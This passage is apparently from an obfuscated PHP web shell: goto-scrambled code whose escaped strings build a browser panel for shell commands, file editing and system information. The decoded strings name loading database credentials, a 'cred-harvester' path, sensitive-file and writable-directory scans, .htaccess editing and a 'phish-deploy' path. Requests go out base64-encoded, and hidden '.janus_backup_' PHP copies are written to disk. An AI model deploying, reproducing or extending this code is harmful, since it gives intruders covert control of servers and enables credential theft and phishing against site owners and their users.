c\74\57\x62\x75\164\164\157\156\x3e\74\x62\165\164\x74\157\156\40\x69\x64\75\42\151\x72\x72\x65\x76\x65\x72\x73\x69\x62\154\x65\55\x63\157\156\146\x69\162\x6d\55\x62\164\156\x22\40\x63\154\x61\x73\x73\x3d\42\151\162\162\x65\166\x65\162\x73\151\x62\154\x65\x2d\x62\x74\156\55\143\x6f\156\x66\151\162\x6d\x22\76\360\x9f\222\200\x20\x49\x20\x55\x4e\x44\x45\122\x53\124\101\116\x44\40\x2d\x20\120\122\117\103\x45\x45\104\x3c\x2f\142\165\164\164\157\x6e\76\74\x2f\144\151\x76\76\x3c\57\x64\151\166\x3e\x3c\x2f\144\x69\166\76\x3c\57\x64\x69\166\76\12\11\x3c\x64\151\166\x20\151\144\75\42\x63\x6f\x6e\146\x69\x72\155\55\155\x6f\144\141\154\x22\40\x63\154\x61\163\x73\75\42\x6d\157\x64\141\x6c\x22\x3e\12\11\11\x3c\144\x69\166\40\x63\x6c\x61\x73\163\x3d\42\x6d\x6f\x64\x61\154\x2d\143\157\156\164\x65\x6e\164\x20\x63\157\x6e\x66\x69\162\x6d\x2d\155\157\x64\141\x6c\55\143\x6f\156\x74\145\x6e\164\x22\76\xa\11\x9\x9\x3c\x64\x69\166\40\143\x6c\141\x73\x73\75\x22\155\157\x64\x61\154\x2d\150\145\141\x64\145\162\40\143\157\156\146\151\x72\x6d\55\x6d\x6f\144\x61\154\55\x68\x65\x61\144\145\162\42\76\xa\11\11\x9\11\74\150\63\x20\151\144\75\x22\x63\157\156\x66\x69\x72\155\55\x74\151\164\x6c\x65\x22\x3e\342\232\xa0\357\270\x8f\x20\103\x6f\156\x66\151\162\155\x61\164\x69\157\156\x3c\x2f\x68\63\76\xa\x9\11\11\x9\74\163\160\x61\x6e\40\143\x6c\141\163\163\x3d\42\x63\x6c\157\163\145\42\x20\151\x64\x3d\42\x63\x6f\x6e\146\x69\x72\x6d\55\x6d\x6f\x64\141\x6c\55\x63\x6c\157\163\x65\42\x3e\x26\164\x69\x6d\145\163\73\x3c\57\x73\x70\141\156\76\12\x9\x9\x9\x3c\57\x64\x69\166\x3e\12\x9\x9\x9\74\144\x69\166\x20\x63\x6c\141\x73\163\75\x22\155\x6f\144\141\x6c\55\142\x6f\144\171\40\x63\157\156\146\151\x72\x6d\x2d\x6d\157\x64\x61\x6c\x2d\x62\157\x64\x79\x22\76\xa\11\11\11\11\74\144\151\x76\40\143\x6c\x61\163\x73\x3d\x22\143\157\x6e\x66\151\162\x6d\55\x69\143\157\x6e\x22\40\151\144\75\42\143\x6f\156\146\151\162\x6d\x2d\151\x63\157\x6e\42\76\342\232\240\xef\xb8\217\x3c\x2f\144\151\x76\76\xa\x9\x9\11\11\x3c\x64\151\166\x20\x63\x6c\141\163\163\x3d\42\x63\157\x6e\x66\x69\x72\155\x2d\x6d\x65\163\163\141\147\145\42\40\x69\x64\x3d\x22\x63\x6f\x6e\x66\151\x72\155\x2d\x6d\145\163\x73\141\x67\x65\42\76\74\57\x64\151\x76\76\xa\x9\x9\x9\11\74\144\x69\x76\40\143\x6c\141\163\x73\x3d\42\x63\x6f\x6e\146\151\162\x6d\x2d\x6d\157\x64\141\154\x2d\x61\143\164\x69\x6f\156\163\x22\76\xa\11\11\x9\x9\x9\74\142\x75\164\164\x6f\156\x20\151\144\x3d\x22\143\157\156\146\x69\162\x6d\x2d\x63\x61\156\x63\145\154\x2d\x62\164\x6e\x22\x20\143\x6c\x61\x73\163\x3d\42\x63\x6f\x6e\146\x69\x72\x6d\x2d\142\164\x6e\x2d\143\x61\156\143\145\x6c\42\76\x43\141\x6e\x63\145\154\74\x2f\x62\x75\x74\x74\157\156\x3e\12\x9\11\x9\11\x9\x3c\142\x75\164\164\157\x6e\40\151\144\75\42\143\157\156\146\151\x72\x6d\x2d\x6f\153\55\142\x74\x6e\42\x20\x63\154\x61\163\x73\75\42\143\x6f\x6e\x66\151\x72\x6d\x2d\x62\164\156\55\x6f\x6b\x22\x3e\x4f\x4b\x3c\x2f\142\x75\164\164\157\x6e\76\xa\11\11\11\x9\x3c\57\144\151\x76\76\xa\11\11\x9\x3c\x2f\144\151\166\x3e\xa\11\x9\x3c\x2f\x64\151\x76\x3e\xa\x9\74\x2f\x64\x69\166\76\12\x9\74\144\151\x76\x20\x69\x64\75\x22\x69\x6e\160\165\164\55\155\x6f\x64\x61\154\x22\x20\143\154\x61\163\x73\75\42\x6d\157\144\141\x6c\x22\x3e\12\11\11\x3c\144\x69\x76\40\x63\154\141\163\163\x3d\x22\155\x6f\x64\141\x6c\55\x63\x6f\156\x74\x65\x6e\164\x20\x69\156\x70\x75\x74\x2d\155\157\x64\141\154\55\x63\157\156\x74\x65\156\164\x22\x3e\12\x9\x9\x9\74\x64\151\x76\x20\x63\154\141\x73\x73\75\42\155\x6f\144\x61\x6c\x2d\150\x65\141\x64\x65\x72\40\x69\156\160\x75\164\55\155\x6f\x64\141\x6c\x2d\x68\x65\x61\x64\x65\162\x22\x3e\12\11\x9\x9\11\74\150\63\40\x69\144\75\42\x69\x6e\160\165\164\x2d\164\x69\164\x6c\145\42\76\xf0\237\223\235\40\x49\156\160\165\x74\40\x52\x65\161\165\151\162\145\144\x3c\57\150\63\x3e\xa\x9\11\x9\x9\x3c\163\160\141\x6e\x20\143\154\141\163\163\x3d\42\143\x6c\x6f\x73\145\x22\x20\151\144\x3d\42\151\x6e\160\165\x74\55\155\x6f\x64\141\154\x2d\143\x6c\x6f\163\145\42\76\46\x74\151\x6d\145\x73\73\x3c\57\163\x70\x61\x6e\x3e\xa\x9\11\x9\x3c\x2f\144\151\x76\76\12\11\x9\x9\74\x64\151\166\40\143\x6c\141\163\x73\75\x22\155\157\x64\141\154\55\x62\x6f\144\x79\40\x69\156\x70\165\x74\x2d\155\157\x64\x61\x6c\x2d\142\x6f\144\171\x22\76\xa\11\x9\x9\x9\74\x64\x69\166\x20\x63\x6c\x61\163\163\75\42\x69\156\160\x75\164\x2d\151\143\x6f\156\42\40\151\x64\75\x22\151\x6e\160\165\164\55\151\143\157\x6e\42\76\360\237\x93\235\x3c\57\144\151\x76\76\xa\x9\x9\x9\x9\x3c\x64\151\166\40\143\154\x61\x73\x73\75\42\x69\x6e\x70\165\x74\x2d\154\141\142\x65\x6c\x22\x20\151\144\75\42\x69\x6e\160\x75\x74\x2d\154\141\142\x65\x6c\42\76\105\x6e\x74\x65\x72\x20\x76\x61\154\x75\145\72\74\x2f\x64\x69\166\x3e\12\11\x9\11\11\x3c\151\x6e\x70\165\x74\x20\164\171\x70\x65\x3d\x22\164\x65\x78\164\42\x20\x69\x64\x3d\x22\x69\x6e\x70\165\164\x2d\x66\x69\x65\x6c\144\x22\40\x63\154\x61\x73\x73\x3d\x22\x69\x6e\x70\x75\164\55\x66\151\x65\154\x64\42\40\160\x6c\141\x63\x65\150\x6f\154\144\145\x72\x3d\x22\x54\171\160\x65\x20\x68\x65\x72\x65\56\56\56\x22\x20\x61\x75\164\157\143\x6f\155\160\x6c\x65\164\x65\75\x22\x6f\146\x66\42\40\x61\165\x74\157\x66\x6f\x63\x75\x73\76\xa\11\11\x9\x9\74\144\151\166\x20\x63\x6c\141\x73\163\75\x22\151\156\x70\165\x74\x2d\x65\162\162\x6f\x72\x22\40\151\144\75\x22\151\x6e\x70\165\x74\55\x65\162\162\x6f\x72\42\76\74\x2f\144\151\x76\76\xa\x9\11\11\x9\74\144\151\x76\x20\x63\154\x61\x73\x73\x3d\x22\x69\x6e\160\x75\x74\x2d\155\x6f\144\141\154\x2d\x61\x63\x74\x69\157\x6e\163\x22\76\xa\11\x9\11\11\x9\74\x62\165\164\164\157\156\40\x69\144\75\42\x69\x6e\x70\165\x74\55\x63\141\156\x63\145\154\55\142\x74\156\x22\40\143\154\x61\x73\163\75\x22\x69\x6e\x70\165\164\x2d\x62\164\x6e\x2d\143\141\156\143\145\154\42\x3e\x43\x61\x6e\x63\x65\154\x3c\57\x62\x75\164\x74\x6f\156\76\12\11\x9\x9\x9\x9\x3c\x62\165\x74\x74\157\156\40\x69\144\x3d\42\x69\156\x70\x75\x74\x2d\x6f\x6b\55\x62\164\x6e\42\40\x63\x6c\x61\x73\163\x3d\42\151\x6e\160\165\164\x2d\x62\164\x6e\x2d\157\x6b\42\76\x4f\x4b\x3c\x2f\142\x75\x74\x74\157\156\76\xa\11\x9\11\x9\74\x2f\x64\151\x76\76\12\x9\x9\11\x3c\x2f\144\151\166\x3e\xa\11\11\x3c\57\x64\151\x76\76\12\11\x3c\57\144\x69\x76\x3e\12\11\74\144\151\x76\x20\x69\x64\x3d\42\x74\x6f\x61\x73\x74\42\76\x3c\57\144\151\x76\x3e\12\xa\x20\x9\x3c\x73\143\162\x69\x70\x74\x20\163\162\x63\x3d\42\150\164\164\x70\x73\x3a\x2f\x2f\143\144\156\152\x73\x2e\143\154\x6f\x75\144\146\x6c\141\x72\145\x2e\143\x6f\155\x2f\141\152\141\x78\57\x6c\x69\142\x73\57\x63\157\x64\x65\155\x69\162\162\157\162\57\x35\56\x36\x35\x2e\x31\65\x2f\x63\157\144\x65\155\x69\162\x72\x6f\162\x2e\155\x69\x6e\56\152\163\42\x3e\x3c\57\x73\143\x72\x69\160\x74\76\12\x20\x9\x3c\163\143\162\151\160\x74\x20\x73\x72\x63\x3d\42\150\164\x74\x70\163\72\x2f\x2f\x63\144\x6e\x6a\163\x2e\143\x6c\x6f\165\144\146\x6c\141\x72\145\56\143\157\155\x2f\141\x6a\141\170\x2f\x6c\x69\142\x73\57\x63\157\x64\145\155\x69\162\x72\x6f\162\x2f\x35\x2e\66\x35\x2e\x31\65\x2f\x6d\x6f\144\145\57\x6d\145\x74\x61\56\152\163\42\76\x3c\x2f\163\143\x72\151\160\164\x3e\xa\x20\x9\74\163\x63\162\151\x70\x74\40\163\162\143\75\x22\150\164\164\x70\163\x3a\x2f\x2f\143\x64\156\152\x73\56\143\x6c\x6f\x75\144\146\154\x61\162\x65\56\x63\157\x6d\57\x61\152\141\170\x2f\x6c\x69\142\x73\x2f\143\157\x64\x65\x6d\x69\x72\162\x6f\162\x2f\x35\56\x36\65\56\61\x35\57\141\144\144\157\x6e\57\x65\144\151\164\x2f\x6d\141\164\143\x68\142\x72\x61\x63\153\145\164\x73\56\x6d\151\156\56\152\x73\42\x3e\74\57\163\143\x72\151\x70\164\x3e\12\x20\11\74\163\x63\x72\151\x70\164\76\12\40\x9\x63\157\x6e\163\x74\x20\123\x43\x52\x49\120\x54\137\125\122\114\40\x3d\x20\47"; goto WG9CP; jlE2p: function CUa0x() { goto c2rTk; rodCd: if (!($kxVgv === false || $teWYf === false)) { goto tgeSl; } goto aaUCa; sJxQH: $teWYf = @disk_free_space($j3_hR); goto rodCd; c2rTk: $j3_hR = "\57"; goto FRQUC; QLgrr: return ["\x74\157\x74\141\x6c" => $kxVgv, "\x75\163\x65\x64" => $kxVgv - $teWYf]; goto qvRXa; zbDNU: tgeSl: goto QLgrr; aaUCa: return ["\x74\157\x74\141\x6c" => 0, "\x75\163\145\144" => 0]; goto zbDNU; FRQUC: $kxVgv = @disk_total_space($j3_hR); goto sJxQH; qvRXa: } goto lw9o7; eVoXz: $LuJuN = dirname($zJsLG) . DIRECTORY_SEPARATOR . "\x2e\x6a\x61\156\165\163\137\142\x61\143\x6b\x75\160\x5f" . substr(md5($zJsLG), 0, 12) . "\x2e\160\150\160"; goto SLKdB; ypaDn: flush(); goto lhvck; hbdEQ: if (!(json_last_error() === JSON_ERROR_NONE)) { goto XBHMN; } goto ndKJC; WPEdu: echo "\47\x3b\12\12\x20\x9\143\x6f\x6e\163\x74\x20\x41\x70\160\x20\75\40\x7b\12\40\x9\11\143\x77\144\72\40\x27\x27\54\40\163\x68\145\x6c\x6c\x5f\x64\151\162\72\x20\47\47\x2c\x20\x68\151\163\164\x6f\x72\x79\72\x20\x5b\x5d\x2c\40\x68\151\x73\164\157\162\x79\x49\x6e\144\145\x78\72\x20\x2d\61\x2c\x20\x65\x64\151\164\x6f\x72\72\x20\156\165\x6c\x6c\x2c\x20\x73\x74\x61\x74\x73\x49\x6e\164\145\162\166\x61\x6c\72\40\x6e\165\x6c\154\54\xa\x20\11\x9\x75\163\x65\162\72\40\x27\47\x2c\x20\x68\x6f\163\164\x6e\x61\x6d\145\x3a\40\47\47\54\40\x6b\145\x72\x6e\145\154\111\156\146\x6f\x3a\x20\173\175\54\x20\151\156\164\x65\x6c\106\x65\164\143\x68\x65\x64\x3a\40\146\x61\x6c\x73\x65\54\12\x20\11\x9\x61\x73\x79\156\143\40\x69\156\151\x74\x28\x29\40\x7b\12\x9\11\11\x74\x72\171\x20\x7b\12\x20\x9\x9\x9\x63\157\156\163\164\x20\143\x6f\x6e\164\145\170\x74\40\75\x20\x61\x77\141\x69\164\x20\x74\150\151\163\x2e\141\x70\151\50\47\147\x65\x74\137\143\x6f\156\x74\x65\170\x74\47\x29\x3b\xa\40\11\x9\11\x69\146\40\50\x63\157\x6e\164\x65\x78\x74\x20\46\46\40\x63\157\x6e\164\145\170\x74\56\163\164\141\x74\165\x73\40\x3d\x3d\x3d\x20\47\x73\165\x63\143\x65\163\163\47\51\x20\173\xa\x9\11\x9\x9\11\x74\x68\x69\x73\x2e\143\167\144\x20\x3d\40\143\157\156\164\x65\x78\x74\56\143\x77\144\73\40\12\x9\11\11\x9\x9\x74\150\x69\163\x2e\163\x68\x65\x6c\154\137\x64\151\162\40\75\40\143\157\x6e\x74\x65\170\x74\56\163\150\145\x6c\154\137\x64\x69\x72\73\12\x9\11\x9\11\11\x74\x68\151\163\x2e\165\x73\x65\162\40\x3d\x20\143\157\x6e\164\145\170\164\x2e\165\163\x65\x72\x3b\x20\xa\11\x9\x9\x9\11\164\x68\151\163\56\150\157\x73\x74\x6e\141\x6d\x65\x20\x3d\40\x63\x6f\156\164\145\x78\164\56\x68\157\163\164\x6e\141\155\x65\73\xa\x9\x9\x9\11\x9\x74\150\x69\x73\56\x72\145\156\144\145\162\123\171\x73\x49\156\x66\x6f\x28\143\157\156\164\x65\x78\164\56\163\x79\163\151\x6e\x66\x6f\51\73\x20\12\x9\x9\11\x9\x9\x74\150\x69\163\x2e\165\160\144\x61\164\x65\x53\171\163\x74\145\x6d\111\156\x66\157\x48\145\x61\x64\x65\x72\x28\143\157\x6e\164\x65\170\164\x29\x3b\xa\x9\x9\x9\x9\x9\x74\x68\151\x73\56\156\x61\166\151\147\x61\x74\x65\x28\x27\146\x69\x6c\x65\163\47\x29\73\40\12\11\x9\11\11\11\x74\150\151\163\56\x62\x69\x6e\144\x45\166\x65\156\x74\163\x28\x29\x3b\12\x20\11\x9\11\11\164\x68\151\x73\56\154\157\141\144\104\x62\103\162\145\x64\145\x6e\x74\x69\141\x6c\x73\50\51\73\12\x9\11\x9\x9\11\xa\x9\x9\11\11\x9\x2f\57\40\123\145\x74\40\144\x65\x66\x61\x75\154\164\x20\x70\141\x74\x68\x73\40\x73\x61\x66\x65\x6c\x79\12\11\x9\x9\11\x9\x63\157\156\163\164\x20\160\141\x74\x68\x49\x6e\x70\x75\x74\x73\40\x3d\40\133\xa\x9\x9\11\11\11\11\47\x73\x65\x61\162\143\150\x2d\x70\141\x74\150\47\x2c\x20\47\167\x72\151\x74\141\x62\x6c\145\x2d\x73\x63\x61\x6e\x2d\160\141\x74\x68\x27\x2c\40\47\143\x6f\x6e\x74\x65\x6e\164\x2d\x73\145\141\162\x63\x68\55\160\x61\x74\x68\47\x2c\xa\11\11\11\11\x9\x9\47\150\x74\141\x63\143\145\x73\x73\55\x70\x61\164\150\47\54\x20\47\x63\x72\145\x64\55\x68\x61\x72\x76\145\163\164\145\162\x2d\160\x61\x74\150\x27\54\40\47\163\x65\x6e\x73\x69\x74\151\166\145\55\163\143\x61\156\55\160\x61\x74\150\x27\54\xa\11\x9\11\x9\x9\x9\47\x6d\x6f\x6e\151\164\x6f\162\x2d\160\x61\164\150\x27\54\40\47\160\x68\151\x73\x68\55\144\145\x70\x6c\x6f\171\x2d\x70\x61\164\x68\x27\12\11\11\11\11\11\135\73\12\x9\11\11\x9\11\x70\141\x74\x68\111\x6e\x70\x75\164\163\56\146\157\162\105\x61\143\150\50\x69\x64\x20\75\x3e\x20\x7b\12\11\x9\x9\x9\x9\x9\143\x6f\x6e\x73\164\40\x65\x6c\x20\75\40\x64\157\x63\165\x6d\145\x6e\x74\x2e\147\145\x74\105\154\145\155\x65\x6e\x74\102\x79\111\144\x28\151\x64\51\73\xa\x9\x9\x9\x9\11\11\x69\x66\40\50\x65\154\x29\x20\x65\x6c\x2e\166\141\x6c\165\145\40\75\x20\164\150\151\163\x2e\x63\x77\x64\73\12\x9\11\x9\11\11\175\x29\x3b\12\11\x9\x9\11\11\12\x9\11\11\x9\x9\143\x6f\x6e\x73\x74\x20\151\156\x74\x65\x6c\x48\x6f\163\164\x45\x6c\40\75\40\144\157\x63\165\x6d\x65\x6e\x74\x2e\147\145\x74\x45\154\145\x6d\145\156\x74\x42\171\111\x64\50\47\x69\156\x74\x65\154\55\150\x6f\163\164\55\x6e\x61\x6d\x65\x27\51\x3b\12\11\x9\11\x9\11\151\x66\40\x28\151\156\164\145\x6c\110\157\x73\164\x45\x6c\51\40\x69\x6e\164\145\x6c\110\157\163\x74\105\x6c\56\x69\x6e\156\145\x72\124\145\170\x74\x20\75\40\164\x68\x69\x73\56\150\x6f\x73\x74\x6e\141\155\145\73\12\11\11\x9\11\175\40\145\154\x73\x65\x20\x7b\40\12\11\x9\x9\x9\11\143\x6f\156\163\164\40\145\x72\162\x6f\x72\115\x73\147\x20\75\x20\x63\157\x6e\164\145\x78\164\x20\x3f\40\x28\x63\157\x6e\164\145\x78\x74\x2e\155\145\163\163\x61\147\145\x20\174\x7c\40\x27\106\141\151\x6c\x65\144\40\164\x6f\40\x69\156\x69\164\x69\x61\154\151\x7a\x65\40\163\150\x65\154\x6c\56\x27\x29\40\x3a\x20\47\x45\x6d\160\164\x79\40\162\x65\163\160\x6f\x6e\163\145\40\146\162\157\155\x20\x73\145\162\166\145\162\56\47\73\xa\11\x9\11\x9\11\164\x68\x69\x73\x2e\164\157\141\x73\164\x28\x65\x72\162\x6f\x72\x4d\x73\147\x2c\x20\x27\x65\x72\162\157\162\47\x29\x3b\12\x9\x9\11\11\11\x63\157\x6e\x73\157\154\x65\56\145\162\x72\157\x72\x28\47\x49\x6e\151\164\x20\146\141\151\x6c\145\x64\72\x27\54\40\x63\x6f\156\164\x65\170\x74\x29\x3b\xa\11\x9\11\x9\175\12\11\11\x9\175\x20\x63\141\164\143\150\40\x28\145\51\x20\173\xa\x9\x9\x9\x9\143\157\x6e\x73\x6f\x6c\145\x2e\145\162\x72\157\162\x28\47\111\x6e\x69\x74\40\x65\x72\x72\x6f\x72\x3a\x27\x2c\40\145\x29\x3b\12\x9\11\x9\11\164\x68\151\x73\56\164\x6f\x61\x73\x74\50\x27\106\141\151\154\x65\144\x20\164\157\40\x69\x6e\151\x74\x69\141\154\x69\x7a\145\x2e\40\x43\x68\145\x63\x6b\40\x63\x6f\x6e\163\157\x6c\x65\40\146\x6f\x72\40\x64\x65\x74\141\151\154\x73\x2e\x27\54\x20\47\145\x72\x72\157\x72\x27\51\73\12\11\x9\x9\175\xa\x20\11\11\175\x2c\xa\x9\x9\x61\163\171\x6e\x63\40\141\160\x69\x28\x61\143\164\151\x6f\x6e\x2c\40\x64\x61\164\x61\40\x3d\x20\x7b\x7d\x29\x20\x7b\12\x9\x9\x9\x63\x6f\x6e\x73\164\40\x70\x61\x79\x6c\x6f\141\x64\x20\x3d\x20\x7b\x20\x61\143\164\x69\157\156\54\40\x2e\56\x2e\x64\x61\164\141\x20\x7d\73\xa\11\x9\11\x63\157\x6e\x73\164\x20\x65\156\x63\157\x64\145\144\x50\141\x79\x6c\x6f\x61\x64\40\x3d\40\164\150\151\163\56\x65\156\x63\x72\171\160\x74\50\112\123\117\116\x2e\163\x74\162\x69\156\147\151\x66\171\50\x70\x61\x79\154\157\141\144\x29\51\x3b\xa\11\x9\x9\x63\x6f\x6e\163\x74\x20\146\157\162\x6d\104\141\x74\x61\40\75\40\156\145\x77\x20\106\x6f\162\x6d\104\141\x74\x61\50\51\73\xa\11\x9\11\146\x6f\162\x6d\x44\141\x74\x61\x2e\141\x70\160\145\156\144\50\x27\160\47\54\x20\x65\x6e\143\157\144\x65\x64\120\141\x79\154\157\141\144\51\x3b\12\x9\x9\x9\164\x72\171\40\173\xa\x9\11\11\x9\x63\x6f\x6e\x73\164\40\x72\x65\163\40\x3d\40\x61\167\141\x69\164\40\x66\145\x74\143\150\x28\123\103\x52\x49\120\124\x5f\x55\x52\x4c\54\40\173\40\155\145\x74\150\x6f\144\x3a\40\x27\x50\117\x53\124\47\x2c\40\x62\x6f\144\171\x3a\40\x66\157\x72\155\x44\x61\x74\141\x20\x7d\51\x3b\xa\11\11\x9\11\x69\146\40\x28\x21\x72\145\163\56\x6f\153\51\40\164\150\162\157\167\40\156\145\x77\x20\105\162\x72\157\162\50\140\110\124\124\120\x20\145\x72\162\157\162\41\40\163\164\141\x74\165\163\72\40\44\x7b\x72\x65\163\56\x73\164\x61\164\x75\163\x7d\x60\x29\x3b\12\11\11\11\11\143\157\x6e\x73\164\x20\x65\x6e\143\x6f\144\x65\144\122\145\163\x70\157\x6e\163\x65\x20\75\x20\141\x77\141\x69\x74\x20\162\145\163\56\164\x65\x78\x74\50\51\x3b\xa\11\11\11\x9\151\146\x20\x28\x21\145\156\143\x6f\144\x65\144\122\x65\163\x70\157\156\163\145\x29\40\173\x20\xa\11\x9\x9\x9\11\x63\x6f\156\x73\157\x6c\x65\56\x65\x72\162\157\162\50\47\x41\x50\111\40\x72\145\x73\x70\x6f\156\x73\145\x20\151\163\40\x65\155\x70\x74\x79\x2e\47\51\73\x20\12\11\x9\11\x9\11\162\x65\x74\165\x72\x6e\40\173\40\x73\x74\x61\164\x75\163\72\40\x27\x65\162\x72\x6f\x72\47\54\x20\x6d\145\x73\163\x61\x67\x65\x3a\40\x27\x45\x6d\x70\164\171\x20\162\145\163\160\157\x6e\x73\x65\x20\x66\x72\x6f\155\40\163\x65\x72\166\145\162\56\x27\40\175\73\40\xa\11\x9\x9\x9\x7d\xa\x9\11\x9\x9\143\157\156\x73\x74\40\x64\x65\143\x72\x79\x70\x74\x65\x64\122\x65\163\x70\157\156\163\145\40\x3d\x20\x74\150\x69\x73\x2e\x64\145\143\x72\x79\160\x74\50\x65\156\x63\x6f\144\145\144\x52\x65\163\x70\157\x6e\163\145\51\73\12\x9\x9\11\x9\151\146\x20\50\x21\x64\145\x63\162\x79\x70\x74\145\144\122\x65\163\160\x6f\x6e\163\145\x29\x20\x7b\xa\11\11\x9\x9\x9\x63\x6f\156\163\157\x6c\x65\x2e\145\x72\x72\x6f\162\x28\x27\x42\141\x73\145\x36\x34\x20\144\145\143\157\144\x69\x6e\x67\x20\146\141\x69\154\145\144\56\x20\x52\x65\x73\x70\x6f\x6e\163\145\40\154\x65\x6e\147\164\150\72\x27\54\x20\x65\156\x63\157\x64\145\144\x52\145\x73\x70\157\x6e\163\145\x2e\x6c\x65\156\x67\x74\x68\51\73\xa\x9\11\11\11\x9\143\x6f\156\x73\x6f\x6c\x65\56\x65\x72\162\157\162\50\47\x52\x65\163\x70\157\x6e\163\145\40\160\162\145\x76\x69\x65\167\72\x27\54\40\x65\156\x63\x6f\x64\x65\x64\122\145\x73\x70\x6f\156\163\145\x2e\163\165\x62\x73\x74\x72\x69\156\x67\50\60\54\40\62\x30\60\51\51\73\12\11\x9\11\11\x9\x72\x65\164\x75\x72\156\x20\173\x20\x73\164\141\164\x75\x73\72\x20\47\x65\x72\162\x6f\162\x27\x2c\40\x6d\145\x73\x73\141\x67\145\72\40\x27\x42\x61\x73\x65\x36\x34\40\144\145\143\x6f\144\x69\x6e\x67\40\x66\141\151\154\145\144\x2e\40\123\145\x72\166\x65\x72\40\155\x61\x79\x20\150\x61\x76\145\40\162\145\164\165\162\156\145\144\x20\151\x6e\x76\x61\154\151\144\x20\162\x65\x73\x70\x6f\156\163\x65\56\47\40\x7d\x3b\12\11\11\11\11\175\12\x9\x9\11\x9\x6c\145\164\x20\152\x73\157\156\x3b\12\11\x9\x9\x9\x74\162\x79\40\x7b\12\x9\11\11\11\x9\x6a\x73\x6f\156\40\75\40\112\123\117\116\x2e\160\141\162\163\x65\50\144\x65\143\162\171\x70\164\145\x64\x52\x65\x73\x70\157\156\x73\145\51\73\xa\x9\x9\x9\11\x7d\x20\143\141\164\x63\x68\40\50\160\x61\162\x73\x65\x45\x72\x72\157\x72\x29\x20\173\12\x9\x9\11\x9\x9\x63\x6f\x6e\163\157\154\x65\56\145\x72\x72\157\x72\x28\47\112\123\117\x4e\x20\x70\141\x72\x73\x65\x20\145\162\x72\157\162\x3a\x27\x2c\40\160\141\162\163\145\105\162\x72\157\162\51\73\12\x9\x9\x9\11\x9\x63\157\156\x73\157\x6c\x65\x2e\145\x72\x72\x6f\x72\50\x27\x44\x65\143\x72\x79\160\164\145\144\40\x72\145\163\160\157\x6e\163\145\72\47\54\40\144\x65\x63\162\x79\160\164\x65\144\122\x65\163\160\157\x6e\163\x65\56\x73\165\x62\163\x74\162\151\x6e\x67\50\60\x2c\40\x32\60\60\51\51\x3b\xa\11\11\x9\x9\11\162\145\x74\x75\162\156\x20\x7b\x20\163\x74\x61\x74\x75\163\72\40\47\x65\162\x72\157\162\47\54\x20\x6d\x65\163\x73\141\147\x65\x3a\x20\x27\106\x61\x69\x6c\145\144\40\x74\157\x20\160\x61\x72\163\x65\x20\x73\x65\162\166\x65\x72\40\162\x65\x73\160\157\156\x73\145\x20\x61\163\40\112\x53\x4f\116\56\x27\x20\175\73\xa\x9\11\x9\x9\x7d\12\11\x9\x9\x9\x69\x66\x20\x28\x6a\163\x6f\x6e\56\163\x74\141\164\165\x73\40\75\75\75\x20\x27\145\x72\x72\x6f\162\x27\x20\x26\x26\40\152\163\157\x6e\56\155\145\x73\x73\141\x67\x65\51\40\x7b\40\xa\x9\11\11\11\x9\164\150\151\163\x2e\x74\x6f\x61\x73\x74\x28\x6a\163\x6f\156\x2e\155\145\x73\163\x61\147\145\54\x20\47\x65\x72\162\157\162\47\x29\73\x20\12\11\11\x9\x9\175\12\x9\x9\x9\11\x72\145\x74\165\x72\x6e\x20\x6a\163\x6f\x6e\x3b\12\x9\11\11\175\x20\143\141\164\143\x68\40\50\x65\51\x20\173\xa\x9\x9\11\x9\143\x6f\x6e\x73\157\154\x65\x2e\x65\162\162\x6f\162\50\x27\x41\120\x49\x20\162\x65\161\165\145\163\x74\x20\x65\x72\162\x6f\x72\72\47\54\x20\145\x29\x3b\12\11\x9\x9\x9\x63\157\x6e\x73\x6f\x6c\145\x2e\x65\x72\162\x6f\162\50\47\101\143\x74\151\157\156\x3a\x27\x2c\40\x61\143\x74\151\x6f\156\x2c\40\x27\104\141\164\141\72\x27\x2c\x20\x64\x61\164\x61\51\x3b\12\11\x9\x9\x9\x74\150\x69\x73\56\164\x6f\141\x73\x74\50\47\101\120\x49\x20\162\145\x71\165\x65\163\x74\40\146\x61\x69\x6c\145\x64\56\x20\103\150\145\143\153\40\143\x6f\x6e\x73\x6f\x6c\145\40\146\157\162\x20\x64\145\x74\x61\x69\x6c\x73\56\47\54\40\47\x65\162\x72\x6f\x72\47\x29\73\xa\11\x9\x9\11\x72\145\x74\165\162\156\x20\173\40\x73\x74\141\x74\165\x73\x3a\40\x27\145\x72\x72\x6f\162\47\54\40\x6d\x65\x73\163\141\x67\x65\72\40\145\56\x6d\145\163\163\141\147\x65\40\174\174\x20\47\125\x6e\x6b\156\157\167\156\x20\145\162\x72\x6f\x72\x27\40\x7d\73\xa\x9\11\11\175\xa\11\x9\x7d\54\xa\x9\x9\x65\156\x63\x72\171\x70\164\72\x20\x28\144\x61\x74\x61\x29\x20\75\x3e\x20\173\xa\11\11\x9\x74\162\171\x20\x7b\xa\x9\x9\11\11\x72\145\x74\x75\162\156\x20\142\x74\157\141\50\x75\156\145\163\x63\x61\x70\x65\50\145\x6e\143\157\x64\x65\125\x52\111\x43\157\x6d\160\157\x6e\x65\156\164\50\x64\x61\x74\x61\x29\51\x29\73\12\x9\11\x9\x7d\40\x63\x61\164\143\x68\x20\50\x65\x29\40\173\12\11\x9\11\x9\143\157\x6e\163\157\154\145\x2e\145\162\162\157\x72\50\x27\x45\x6e\x63\162\x79\x70\x74\151\157\x6e\x20\x65\x72\x72\157\162\72\47\54\40\145\x29\x3b\xa\11\x9\11\x9\162\145\x74\165\x72\156\40\x62\x74\157\x61\x28\x64\x61\x74\x61\51\73\xa\11\11\x9\x7d\12\11\x9\x7d\x2c\12\11\11\x64\x65\x63\x72\171\x70\164\50\x64\x61\x74\x61\51\x20\173\xa\x9\x9\x9\151\146\x20\x28\41\144\x61\164\141\40\174\174\40\164\171\160\x65\x6f\146\40\144\141\x74\141\x20\x21\x3d\x3d\40\47\x73\x74\162\151\x6e\147\x27\x29\40\x7b\12\x9\x9\x9\x9\143\x6f\x6e\163\x6f\154\145\x2e\145\162\162\157\162\50\47\111\x6e\166\x61\154\151\x64\40\x64\141\x74\141\x20\x66\157\x72\40\144\x65\143\162\x79\160\164\x69\x6f\156\72\47\54\x20\164\x79\x70\x65\x6f\x66\x20\x64\x61\164\x61\x29\x3b\12\x9\11\11\11\x72\145\164\165\162\x6e\40\x6e\x75\154\x6c\73\xa\11\x9\11\x7d\xa\11\11\x9\x2f\57\x20\103\x6c\145\x61\x6e\x20\x74\x68\x65\40\x64\x61\164\x61\72\40\x72\x65\x6d\157\x76\145\40\167\150\151\164\x65\163\x70\x61\x63\145\x2c\x20\156\145\x77\154\151\156\x65\x73\x2c\40\14